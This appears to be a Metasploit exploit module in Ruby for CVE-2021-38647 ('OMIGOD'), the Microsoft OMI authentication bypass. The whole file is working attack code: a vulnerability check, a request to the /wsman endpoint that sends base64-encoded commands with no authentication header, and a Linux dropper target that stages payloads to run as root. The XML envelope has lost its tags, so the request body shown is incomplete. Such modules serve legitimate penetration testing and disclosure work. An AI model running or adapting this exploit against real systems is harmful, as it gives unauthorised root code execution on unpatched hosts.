## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft OMI Management Interface Authentication Bypass', 'Description' => %q{ By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021). }, 'Author' => [ 'Nir Ohfeld', # vulnerability discovery & research 'Shir Tamari', # vulnerability discovery & research 'Spencer McIntyre', # metasploit module 'wvu' # vulnerability research ], 'References' => [ ['CVE', '2021-38647'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'], ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'], ['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'], ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647'] ], 'DisclosureDate' => '2021-09-14', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 5985, 'SSL' => false, 'MeterpreterTryToFork' => true }, 'Notes' => { 'AKA' => ['OMIGOD'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/wsman']) ]) end def check http_res = send_command('id') return CheckCode::Unknown if http_res.nil? return CheckCode::Safe unless http_res.code == 200 cmd_res = parse_response(http_res) return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) / return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd result = execute_command(payload.encoded) if result print_status(result[:stdout]) unless result[:stdout].blank? print_error(result[:stderr]) unless result[:stderr].blank? end when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") res = send_command(cmd) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}") end parse_response(res) end def parse_response(res) return nil unless res&.code == 200 return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i unless return_code == 0 print_error("Failed to execute command: #{cmd} (status: #{return_code})") end { return_code: return_code, stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content, stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content } end def send_command(cmd) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'ctype' => 'text/xml;charset=UTF-8', 'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) HTTP://127.0.0.1:5985/wsman/ http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript 102400 uuid:#{Faker::Internet.uuid} PT1M30S root/scx #{Rex::Text.encode_base64(cmd)} 0 true ENVELOPE ) end end